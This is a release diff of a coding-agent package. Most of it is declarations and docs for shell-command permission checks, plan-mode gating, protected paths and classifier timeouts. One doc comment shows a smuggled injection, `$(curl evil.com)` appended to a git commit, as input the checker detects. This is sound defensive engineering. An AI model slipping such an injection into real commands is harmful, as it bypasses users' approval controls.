@kodax-ai/kodax 0.7.79 → 0.7.80

package/dist/types-chunks/shell-command-sets.d-Dp4UvPLL.d.ts

@@ -0,0 +1,297 @@
+import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-DStqKIlu.js';
+
+/**
+ * Permission Utilities
+ *
+ * 权限工具函数 - 模式解析、匹配、路径检查
+ *
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
+ * - "Bash(npm install)" - exact command match
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
+ *
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
+ */
+
+type PermissionMode = 'plan' | 'accept-edits' | 'auto' | 'auto-in-project';
+/** Return the subcommand position after validated Git global options. */
+declare function findGitSubcommandIndex(argv: readonly string[]): number | undefined;
+/** True when a Git inspection may invoke a configured signature helper. */
+declare function gitSignatureInspectionMayExecute(subcommand: string | undefined, args: readonly string[]): boolean;
+interface GitGrepShortOption {
+    readonly pager: boolean;
+    readonly valueKind?: 'pattern' | 'pattern-file' | 'other';
+    readonly attachedValue?: string;
+    readonly consumesNext: boolean;
+}
+/** Parse Git grep's clusterable short options until an option consumes the remainder. */
+declare function parseGitGrepShortOption(token: string): GitGrepShortOption;
+/** Validate one already-tokenized shell pipeline stage as read-only. */
+declare function isShellReadOnlyArgv(argv: readonly string[]): boolean;
+/**
+ * FEATURE_154 — universal `--help` fast-path (parity with Claude Code
+ * `commands.ts:isHelpCommand` at [commands.ts:388-436]).
+ *
+ * Returns `true` for commands of the shape `[CMD [SUBCMD ...]] --help` where
+ * every non-flag token is a simple alphanumeric identifier and `--help` is
+ * the only flag. These commands are unconditionally safe (programs print
+ * help and exit), so they fast-path past the LLM classifier (FEATURE_092)
+ * and the safe-read whitelist.
+ *
+ * Why: KodaX's auto-mode classifier costs an LLM call per tool invocation.
+ * Paying token cost on every `kubectl --help` / `docker --help` etc. is
+ * waste. Pre-FEATURE_154, KodaX only fast-pathed `--help` for ~12 language
+ * toolchains (`npm` / `tsc` / `go` / etc.) via the `languageTools` carve-out
+ * in `isSingleBashReadCommand`; this generalises to any command name.
+ *
+ * Strict by design (matches CC):
+ *   - Must end with `--help` (after trim)
+ *   - Must NOT contain `'` or `"` (could hide injection behind alphanumerics)
+ *   - Must contain `--help` exactly; any other flag (`-c`, `--version`, etc.) → false
+ *   - Every non-flag token must match `/^[a-zA-Z0-9]+$/` (rejects paths,
+ *     versioned files, env vars, shell metacharacters)
+ *
+ * Slightly stricter than CC on `$VAR` (CC's shell-quote tokenizer represents
+ * env-substitutions as object tokens that the loop skips, effectively
+ * letting them pass; KodaX's simple split sees them as strings and rejects.
+ * The stricter behavior is a deliberate safety choice.).
+ */
+declare function isHelpCommand(command: string): boolean;
+/**
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
+ *   - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
+ *   - pipeline stages split on `|` (every stage must be a safe-read command),
+ *   - per-stage redirections (input redirects rejected; output redirects only
+ *     allowed when the target is a null device, which discards output rather
+ *     than writing — preserves Issue 129 behavior),
+ *   - `unparseable: true` for inputs we can't model (heredocs, command
+ *     substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
+ *     `false` so unmodeled syntax always falls through to confirmation.
+ *
+ * Per-stage syntactic checks use `isShellReadOnlyArgv` so quoted tokens do not
+ * need to be joined and parsed a second time.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a safe read operation
+ */
+declare function isBashReadCommand(command: string): boolean;
+declare function getDirectShellBypassBlockReason(command: string): string | null;
+/**
+ * Check if a bash command is a write operation.
+ *
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
+ * classes of false positives the regex chain had:
+ *   1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
+ *      `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
+ *      blacklist of pre-compiled regexes. The strip was fragile — any
+ *      future fd-redirect form would re-introduce the false positive.
+ *      Now redirections are structured tokens with a `target` field;
+ *      `isNullDevice(target)` is the single source of truth.
+ *   2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
+ *      matched `set-content` even when it appeared inside a quoted string
+ *      argument or inside a path. AST argv tokens are post-quote-stripping
+ *      so PowerShell verb checks compare against actual command names.
+ *
+ * Detection rules (per-stage):
+ *   - argv[0] OR argv[0..1] (joined with space) matches any entry in
+ *     `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
+ *   - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
+ *     appear inline, not just at stage start, due to PowerShell pipeline
+ *     conventions — `ls | Set-Content foo` puts the verb at argv[0] of
+ *     stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
+ *     stage 1; we cover both with a token-anywhere check).
+ *   - any non-input redirection whose target is NOT a null device.
+ *
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
+ * didn't match anything in the regex blacklist either. Plan-mode and
+ * auto-mode handle the unparseable case via separate confirmation paths.
+ *
+ * @param command - bash command string
+ * @returns true if the command is a write operation
+ */
+declare function isBashWriteCommand(command: string): boolean;
+/**
+ * Parse allowed tool pattern - 解析允许的工具模式
+ *
+ * Formats:
+ * - "read" -> { tool: "read", pattern: null }
+ * - "Edit(*)" -> { tool: "Edit", pattern: "*" }
+ * - "Bash(npm install)" -> { tool: "Bash", pattern: "npm install" }
+ * - "Bash(git commit:*)" -> { tool: "Bash", pattern: "git commit:*" }
+ */
+declare function parseAllowedToolPattern(entry: string): {
+    tool: string;
+    pattern: string | null;
+};
+/**
+ * Check if a tool call is allowed by the user's allowlist patterns.
+ *
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
+ * routed through the LLM-backed prefix extractor, which:
+ *   - Returns the SAFE PREFIX of the command (e.g. `git commit` for
+ *     `git commit -m "msg"`)
+ *   - Returns `injection_detected` for inputs containing command injection
+ *     (`git commit -m "x" $(curl evil.com)`)
+ *   - Returns `no_prefix` when no safe prefix can be determined
+ * Patterns then match against the extracted prefix exactly. This eliminates
+ * the pre-FEATURE_153 startsWith-based injection surface.
+ *
+ * When `extractor` is NOT supplied, falls back to the legacy
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
+ * production; the legacy branch exists for tests and headless SDK consumers
+ * without LLM access.
+ *
+ * Note: Only Bash tool is supported for pattern matching.
+ *
+ * @param toolName — tool name (only "bash" / "Bash" matched)
+ * @param input    — tool call input; reads `input.command`
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
+ *                          `~/.kodax/config.json` `alwaysAllowTools`
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
+ * @param signal    — optional abort signal forwarded to the extractor
+ */
+declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
+/**
+ * Generate pattern string for saving
+ */
+declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
+/**
+ * Check if target path requires always-confirm (permanent protection zones)
+ *
+ * Protected zones (always require confirmation, regardless of mode):
+ * - .kodax/ project config directory
+ * - ~/.kodax/ user config directory
+ * - Paths outside the project root AND outside the system temp directory
+ *
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
+ * already explicitly permit system-temp writes, so accept-edits and
+ * auto-in-project should not be stricter than plan mode on this dimension.
+ */
+declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
+/**
+ * Pre-AST regex-based path scanner. Retained as a complementary pass
+ * because shell-quote's POSIX tokenisation eats Windows backslash escapes:
+ *   `rm C:\Users\foo\bar.txt` → AST argv is `['rm', 'C:Users', 'oo\bar.txt']`
+ *                               (the `\U`, `\f`, `\b` are POSIX-escape-stripped).
+ * The regex sees raw input and recognises `C:\foo`-style paths as one
+ * coherent token, which is what callers (`isCommandOnProtectedPath`,
+ * `collectBashWriteTargets`) actually need to make path-safety decisions.
+ *
+ * Pre-AST regex was the entire impl; here it's a Windows-path safety net
+ * layered ON TOP of the AST argv pass. Tokens recognised by both are
+ * de-duped at the `Set` level by the caller.
+ */
+interface RawCommandWord {
+    readonly value: string;
+    readonly start: number;
+    readonly end: number;
+}
+declare function tokenizeRawCommandStages(command: string): readonly RawCommandWord[][];
+/**
+ * Extract potential file paths from a bash command. Used to check whether
+ * a bash invocation operates on protected paths (`isCommandOnProtectedPath`)
+ * and as a "wide net" feeder into `collectBashWriteTargets`.
+ *
+ * FEATURE_152 (v0.7.38): hybrid AST + legacy-regex pass:
+ *   1. AST tokenisation for argv — gives correctly unquoted paths,
+ *      including paths with spaces (`"path with spaces.txt"`). Pre-AST
+ *      regex needed quotes literally present in input.
+ *   2. Legacy regex pass for Windows backslash paths — shell-quote treats
+ *      `\` as POSIX escape so `C:\Users\foo` mangles into `C:Users`.
+ *      The regex recognises the raw Windows path token before tokenisation.
+ *
+ * Both passes contribute; results de-duplicate via `Set` at the call site.
+ *
+ * Issue 052: original purpose — gate "always allow" on bash commands that
+ * touch protected paths.
+ */
+declare function extractPathsFromCommand(command: string): string[];
+/**
+ * Check if a bash command operates on any protected paths
+ * Issue 052: Prevent "always" option for bash commands on protected paths
+ */
+declare function isCommandOnProtectedPath(command: string, projectRoot: string, executionCwd?: string): boolean;
+/**
+ * Check whether a path stays inside the project root after resolution.
+ */
+declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
+declare function getPlanModeAllowedWritablePaths(projectRoot?: string): {
+    projectPlanDoc: string;
+    systemTempDirs: string[];
+};
+declare function isPlanModeAllowedPath(targetPath: string, projectRoot?: string, executionCwd?: string | undefined): boolean;
+/**
+ * Collect the file targets that a bash command might write to. Used by
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
+ *
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
+ * version concatenated four overlapping regex sweeps over the raw command
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
+ * matched as substring in `committee.txt`). The AST gives clean argv
+ * tokens with quoting stripped, and per-stage redirection targets.
+ */
+declare function collectBashWriteTargets(command: string): string[];
+/** Parsed targets whose command role itself proves they are mutated. */
+declare function collectDeterministicBashWriteTargets(command: string): string[];
+declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
+    dangerous: boolean;
+    reason?: string;
+};
+/**
+ * v0.7.42 — Metadata-driven plan-mode gate.
+ *
+ * Decision order (first match wins):
+ *
+ *   1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
+ *      permitted (`null`). Covers planning-loop tools whose effect IS the
+ *      planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
+ *      `ask_user_question`, plus read-class network queries
+ *      (`web_search`, `mcp_search` / `mcp_describe` /
+ *      `mcp_read_resource` / `mcp_get_prompt`).
+ *   2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
+ *      permitted (`null`). Read tools never need plan-mode gating.
+ *   3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
+ *      (computed from `sideEffect === 'mutates-fs' AND requires path`)
+ *      can write IF the target path is `.agent/plan_mode_doc.md` or the
+ *      system temp dir.
+ *   4. `bash` special case: command-content-aware check via
+ *      `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
+ *      (`git status`, `ls`, …) is permitted; write bash with all targets
+ *      in the plan-doc / temp escape is permitted; everything else
+ *      blocks.
+ *   5. Everything else with a side effect → blocked with a generic
+ *      reason naming the side-effect class.
+ *
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
+ * a hardcoded 4-tool list that silently let `multi_edit`,
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
+ * fall through to `return null` (permitted). The metadata-driven gate
+ * closes that gap structurally — new mutating tools auto-block until
+ * explicitly opted in via `planModeAllowed: true`.
+ */
+declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string, executionCwd?: string | undefined): string | null;
+/**
+ * Infer PermissionMode from legacy options (backward compat)
+ */
+declare function inferPermissionMode(opts: {
+    auto?: boolean;
+    mode?: 'code' | 'ask';
+    confirmTools?: Set<string>;
+}): PermissionMode;
+
+declare const FILE_MODIFICATION_TOOLS: Set<string>;
+declare const MODIFICATION_TOOLS: Set<string>;
+declare const BASH_WRITE_COMMANDS: Set<string>;
+declare const BASH_SAFE_READ_COMMANDS: Set<string>;
+
+export { BASH_SAFE_READ_COMMANDS as B, FILE_MODIFICATION_TOOLS as F, MODIFICATION_TOOLS as M, BASH_WRITE_COMMANDS as a, collectDeterministicBashWriteTargets as b, collectBashWriteTargets as c, getBashOutsideProjectWriteRisk as d, extractPathsFromCommand as e, findGitSubcommandIndex as f, generateSavePattern as g, getDirectShellBypassBlockReason as h, getPlanModeAllowedWritablePaths as i, getPlanModeBlockReason as j, gitSignatureInspectionMayExecute as k, inferPermissionMode as l, isAlwaysConfirmPath as m, isBashReadCommand as n, isBashWriteCommand as o, isCommandOnProtectedPath as p, isHelpCommand as q, isPathInsideProject as r, isPlanModeAllowedPath as s, isShellReadOnlyArgv as t, isToolCallAllowed as u, parseAllowedToolPattern as v, parseGitGrepShortOption as w, tokenizeRawCommandStages as x };
+export type { GitGrepShortOption as G, PermissionMode as P, RawCommandWord as R };

package/dist/types-chunks/{types.d-BZ9oXvTV.d.ts → types.d-BzpPDBPV.d.ts}

@@ -1,4 +1,4 @@
-import { bM as KodaXInputArtifact } from './controller.d-RGV7Pjv9.js';
+import { bM as KodaXInputArtifact } from './controller.d-C2aHqzHj.js';
 import { T as KodaXTaskResultMetadata } from './types.d-CgrXrFrq.js';
 
 /**

package/dist/types-chunks/{types.d-C0_rn--1.d.ts → types.d-yuJzE82x.d.ts}

@@ -1,8 +1,8 @@
 import { aa as KodaXWireReasoningEffort, a2 as KodaXToolDefinition, a4 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-CgrXrFrq.js';
 import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
 import { C as CapabilityKind, a as CapabilityProvider } from './capability.d-K664nHOS.js';
-import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-RGV7Pjv9.js';
-import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-CNSidpmv.js';
+import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-C2aHqzHj.js';
+import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-DStqKIlu.js';
 
 /**
  * KodaX Constructed-World types (FEATURE_087, v0.7.28).

package/dist/types-chunks/{utils.d-CGpHavsU.d.ts → utils.d-BpACJmzt.d.ts}

@@ -1,9 +1,9 @@
 import { k as KodaXMessage, G as KodaXReasoningMode, d as KodaXCustomProviderConfig, q as KodaXProviderCapabilityProfile } from './types.d-CgrXrFrq.js';
-import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fb as WorkflowProcessSource } from './controller.d-RGV7Pjv9.js';
-import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-CNSidpmv.js';
-import { d as AgentsFile, s as AutoModeStats, R as KodaXMcpServersConfig } from './guardrail.d-1NLSFTyN.js';
+import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fc as WorkflowProcessSource } from './controller.d-C2aHqzHj.js';
+import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-DStqKIlu.js';
+import { d as AgentsFile, s as AutoModeStats, S as KodaXMcpServersConfig } from './guardrail.d-DM-OK0m3.js';
 import * as readline from 'readline';
-import { T as PermissionMode, L as LearningBinding, J as LearningSurfaceSnapshot } from './public-api.d-BpJhHoa7.js';
+import { S as PermissionMode, L as LearningBinding, G as LearningSurfaceSnapshot } from './public-api.d-CewTvUKV.js';
 import { SpawnSyncReturns } from 'child_process';
 
 /**
@@ -41,7 +41,7 @@ interface AutoModeSettings {
      * inherits from the main session). Feeds layer 4 of `resolveClassifierModel`.
      */
     classifierModel?: string;
-    /** sideQuery timeout in ms. Default 30_000. */
+    /** Explicit per-attempt timeout. Omit for the 45_000/90_000 classifier defaults. */
     timeoutMs?: number;
     /**
      * Issue 143 (WS3): speculative-classify quiet window in ms. Default 500.
@@ -599,6 +599,16 @@ declare function loadConfig(): {
     sandbox?: {
         envPass?: string[];
     };
+    /**
+     * Worker-hosted embedded Runtime options. `configuredA2A` lets a
+     * Worker-hosted embedded Runtime load and reconcile
+     * `<homeDir>/.kodax/integrations/a2a.json` inside the Worker owner,
+     * installing the full list/describe/preflight and external Actor dispatch
+     * surface so configured A2A Agents appear as `external:<name>`.
+     */
+    worker?: {
+        configuredA2A?: boolean;
+    };
 };
 /**
  * F1 — first-launch onboarding. config.json must be STRICT JSON (no comments), so we

package/docs/SDK_EMBEDDER_GUIDE.md

@@ -3062,8 +3062,8 @@ fields requires a protocol version bump.
 ### v0.7.69 Runtime verification record
 
 This subsection is the historical verification record for the original shared
-Runtime delivery. Current 0.7.79 candidate gates and evidence live in
-[`docs/release.md`](release.md#v0779-release-preparation).
+Runtime delivery. Current 0.7.80 release gates and evidence live in
+[`docs/release.md`](release.md#v0780-release-preparation).
 
 The v0.7.69 release validation covers the runtime migration, the Worker
 isolation follow-ups delivered ahead of their original v0.7.71/v0.7.72
@@ -4788,16 +4788,20 @@ The Runtime's execution order is fixed:
 Runtime Auto Mode guardrail -> host permission bridge only for escalate -> tool execution
 ```
 
-Exactly modeled ordinary reads and workspace/system-temp mutations are admitted
-before classifier latency, independent of sandbox readiness. Other calls are
-reviewed against the latest genuine user request, bounded user-only intent
-evidence, and exact operation facts. Consequently, an LLM/rules `allow` does
+Exactly modeled ordinary reads and workspace/system-temp mutations are admitted
+before classifier latency, independent of sandbox readiness. Other calls are
+reviewed against the latest genuine user request, bounded user-only intent
+evidence, and exact operation facts. Consequently, an LLM/rules `allow` does
 not create a pending permission request just because a host installed a static
 approval hook. Classifier concerns, critical deterministic matches, and rules
 concerns use the existing shared
 `runtime.permissions` flow, so another authorized client may render and answer
-it. Hosts should subscribe to permission events to display such a request, but
-must not treat a missing request as an error for a safe tool call.
+it. Hosts should subscribe to permission events to display such a request, but
+must not treat a missing request as an error for a safe tool call.
+
+Direct guardrail embedders should supply `projectRoot` or `executionCwd` for
+path-bearing calls. If both are absent, KodaX keeps those targets unresolved
+instead of treating the host process cwd as the user's workspace.
 
 On PowerShell, deterministic read admission includes independently validated
 sequential/pipeline stages such as `where.exe`, ordinary `rg` inspection,
@@ -4813,30 +4817,30 @@ Authenticated child constraints are checked before deterministic admission:
 for example, `Do not execute shell commands` keeps even a read-only shell call
 under review, while `Do not modify files` does not make an ordinary read ask.
 
-The classifier deadline is 30 seconds by default and includes connection
-setup, provider Retry-After/backoff, inference, and stream completion. KodaX
-retries one timeout/provider/response-contract failure once; a second failure
-uses the Accept-edits safety boundary and never switches to Auto[rules].
-KodaX does not solve timeouts by extending that deadline indefinitely. Before the
-provider call it removes assistant prose/thinking and image paths, limits each
-tool result to 2 KiB and the serialized permission-relevant transcript to
-8 KiB, then enforces 16 KiB action and 32 KiB total-prompt ceilings plus a
-256-token output cap. An oversized action or prompt escalates without a
-provider call; it is never truncated into an automatic allow. These limits are
-owned by `classify()` itself, so custom callers cannot accidentally bypass the
-session-history boundary.
-
-Deterministic read admission treats wildcard-bearing path operands as
-unresolved when they could expand to protected data. Explicit PowerShell
-`-LiteralPath` remains literal. Positive broad search selectors (including
-structured `grep`/`glob`, ripgrep/GNU-grep filters, and custom ripgrep types),
-PowerShell path arrays/enumeration pipelines, indirect file lists, and dynamic
-Git pathspecs or expanded `git grep --no-index`/`--untracked` scopes remain
-LLM-reviewed because a lexical root cannot prove which files will be read. The
-same applies to implicit/directory content searches, including a structured
-`grep` call whose omitted path defaults to the workspace and GNU-grep
-`-d recurse`/`--directories=recurse`, and to unscoped Git patch output. Git
-line-log `-L` paths, patch-enabling short-option clusters, and merge-diff modes
+The classifier deadline is 45 seconds for the first default attempt and 90
+seconds for its one retry. A configured `timeoutMs` overrides both attempts
+with the same explicit deadline. Each deadline includes connection setup,
+provider Retry-After/backoff, inference, and stream completion. A second
+timeout/provider/response-contract failure uses the Accept-edits safety
+boundary and never switches to Auto[rules]. Before the
+provider call it removes assistant prose/thinking and image paths, limits each
+tool result to 2 KiB and the serialized permission-relevant transcript to
+8 KiB, then enforces 16 KiB action and 32 KiB total-prompt ceilings plus a
+256-token first-attempt output cap. If that answer is truncated before a
+decision, the retry uses 1024 tokens instead of repeating the same impossible
+budget. An oversized action or prompt escalates without a provider call; it is
+never truncated into an automatic allow. These limits are owned by
+`classify()` itself, so custom callers cannot accidentally bypass the
+session-history boundary.
+
+Deterministic read admission keeps ordinary project directories, structured
+`grep`/`glob`, ripgrep/GNU-grep filters, and other bounded search selectors on
+the read fast path. A wildcard remains unresolved only when it can reach a
+protected credential area or its path boundary cannot be established.
+Explicit PowerShell `-LiteralPath` remains literal. Indirect file lists,
+dynamic Git pathspecs, and expanded `git grep --no-index`/`--untracked` scopes
+remain LLM-reviewed when their targets cannot be bounded safely. Git
+line-log `-L` paths, patch-enabling short-option clusters, and merge-diff modes
 are resolved before deciding whether output is scoped. Exact-file reads and
 metadata-only output such as `git show --stat` remain deterministic. Exclusion
 selectors do not become input targets. On Windows, protected-name checks also

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@kodax-ai/kodax",
-  "version": "0.7.79",
+  "version": "0.7.80",
   "description": "KodaX lightweight coding agent - TypeScript implementation with 16 built-in LLM provider aliases, published as a Node-free single-file CLI and SDK",
   "type": "module",
   "private": false,
@@ -8,7 +8,8 @@
     "access": "public"
   },
   "kodaxRuntimeContracts": {
-    "integrationConfigResilience": 1
+    "integrationConfigResilience": 1,
+    "managedRunDurability": 1
   },
   "workspaces": [
     "packages/*"
@@ -145,7 +146,6 @@
     "ink-text-input": "^6.0.0",
     "is-in-ci": "^2.0.0",
     "jimp": "^1.6.0",
-    "js-tiktoken": "^1.0.12",
     "oauth4webapi": "3.8.6",
     "openai": "^6.32.0",
     "partial-json": "^0.1.7",

package/dist/chunks/agent-V4AC5JZD.js

@@ -1,2 +0,0 @@
-// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
-import{Ja as g,La as h,Ya as i,a as c,cb as j,ra as d,sa as e,ta as f}from"./chunk-B6UY3VHV.js";import"./chunk-67THZRM6.js";import"./chunk-TSTVAU5E.js";import"./chunk-OWQT3FTE.js";import"./chunk-SG6P4SZS.js";import{ub as a,vb as b}from"./chunk-RQPMGRTR.js";import"./chunk-GEECPO2H.js";import"./chunk-M4N2JZTZ.js";import"./chunk-H5LLM7DB.js";import"./chunk-ONUPGMER.js";export{e as bucketProviderPayloadSize,g as buildAutoRepoIntelligenceContext,f as checkPromiseSignal,b as cleanupIncompleteToolCalls,h as describeTransientProviderRetry,c as emitResilienceDebug,d as estimateProviderPayloadBytes,j as runKodaX,i as saveSessionSnapshot,a as validateAndFixToolHistory};

package/dist/chunks/argument-completer-ZPC2MLES.js

@@ -1,2 +0,0 @@
-// @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
-import{$a as a,ab as b}from"./chunk-ZCZZUE5E.js";import"./chunk-EDZ4QILG.js";import"./chunk-BBOVVDQJ.js";import"./chunk-KLWP7POA.js";import"./chunk-B6UY3VHV.js";import"./chunk-CXHEZY5G.js";import"./chunk-67THZRM6.js";import"./chunk-QCZLCLFL.js";import"./chunk-TSTVAU5E.js";import"./chunk-OWQT3FTE.js";import"./chunk-SG6P4SZS.js";import"./chunk-RQPMGRTR.js";import"./chunk-GEECPO2H.js";import"./chunk-M4N2JZTZ.js";import"./chunk-H5LLM7DB.js";import"./chunk-ONUPGMER.js";export{a as ArgumentCompleter,b as createArgumentCompleter};